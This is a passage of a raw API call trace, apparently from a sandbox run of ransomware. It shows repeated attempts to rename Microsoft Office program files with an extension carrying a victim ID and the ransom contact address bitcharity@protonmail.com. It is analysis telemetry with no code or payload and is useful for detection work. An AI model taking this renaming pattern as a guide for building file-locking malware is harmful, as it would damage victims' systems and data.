lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.535] CloseHandle (hObject=0x1278) returned 1 [0269.536] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.536] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OUTGOING.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\outgoing.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.537] CloseHandle (hObject=0x1278) returned 1 [0269.537] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.537] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\OutSyncPC.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\outsyncpc.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.538] CloseHandle (hObject=0x1278) returned 1 [0269.539] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.539] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\PersonalContact.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\personalcontact.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.539] CloseHandle (hObject=0x1278) returned 1 [0269.540] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.540] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SessionMember.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\sessionmember.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.540] CloseHandle (hObject=0x1278) returned 1 [0269.541] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.541] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SessionOwner.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\sessionowner.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.541] CloseHandle (hObject=0x1278) returned 1 [0269.542] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.542] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\SpaceSelector.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\spaceselector.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.542] CloseHandle (hObject=0x1278) returned 1 [0269.543] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.543] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusAway.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\statusaway.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.543] CloseHandle (hObject=0x1278) returned 1 [0269.544] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.544] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\statusdonotdisturb.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.544] CloseHandle (hObject=0x1278) returned 1 [0269.545] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.545] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\StatusOnline.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\statusonline.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.545] CloseHandle (hObject=0x1278) returned 1 [0269.546] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.546] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\TOOLICON.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\toolicon.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.546] CloseHandle (hObject=0x1278) returned 1 [0269.547] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.547] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\WSS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\wss.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.547] CloseHandle (hObject=0x1278) returned 1 [0269.548] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.548] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\WSS_DocLib.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\wss_doclib.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.548] CloseHandle (hObject=0x1278) returned 1 [0269.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVE.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\igx.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\IGX.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\igx.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.670] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.670] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Installed_resources16.xss.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\installed_resources16.xss.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.670] CloseHandle (hObject=0x1278) returned 1 [0269.672] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.672] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Installed_schemas16.xss.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\installed_schemas16.xss.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.672] CloseHandle (hObject=0x1278) returned 1 [0269.681] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.682] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\ANALYS32.XLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\analys32.xll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.682] CloseHandle (hObject=0x1278) returned 1 [0269.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.685] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.685] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LYNC.EXE.MANIFEST.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.685] CloseHandle (hObject=0x1278) returned 1 [0269.686] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.686] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lync.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.686] CloseHandle (hObject=0x1278) returned 1 [0269.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LyncDesktopSmartBitmapResources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncdesktopsmartbitmapresources.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LyncDesktopSmartBitmapResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncdesktopsmartbitmapresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.692] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncDesktopViewModel.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncdesktopviewmodel.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncDesktopViewModel.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncdesktopviewmodel.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lynchtmlconv.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lynchtmlconv.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncModelProxy.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncmodelproxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\lyncModelProxy.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lyncmodelproxy.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mce.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mce.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mce.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mce.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0269.697] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.697] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.697] CloseHandle (hObject=0x1278) returned 1 [0269.700] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.700] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\DefaultHold.wma.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\defaulthold.wma.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.700] CloseHandle (hObject=0x1278) returned 1 [0269.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\mfc140u.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mfc140u.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\msipc.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\msipc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\msipc.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\msipc.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.518] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.518] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\MSIPCEvents.man.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\msipcevents.man.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.518] CloseHandle (hObject=0x1078) returned 1 [0270.531] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.532] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSO0127.ACL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mso0127.acl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.532] CloseHandle (hObject=0x1078) returned 1 [0270.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOCRRES.ORP" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msocrres.orp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOCRRES.ORP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msocrres.orp.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.891] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.891] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE.MANIFEST.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.892] CloseHandle (hObject=0xff8) returned 1 [0270.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OWSSUPP.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\owssupp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OWSSUPP.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\owssupp.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.897] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PDFREFLOW.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pdfreflow.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.902] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.902] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\pkeyconfig-office.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pkeyconfig-office.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.902] CloseHandle (hObject=0xff8) returned 1 [0270.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\POWERPNT.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.904] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.904] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\powerpnt.exe.manifest.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\powerpnt.exe.manifest.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.905] CloseHandle (hObject=0xff8) returned 1 [0270.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PPCORE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ppcore.dll"), 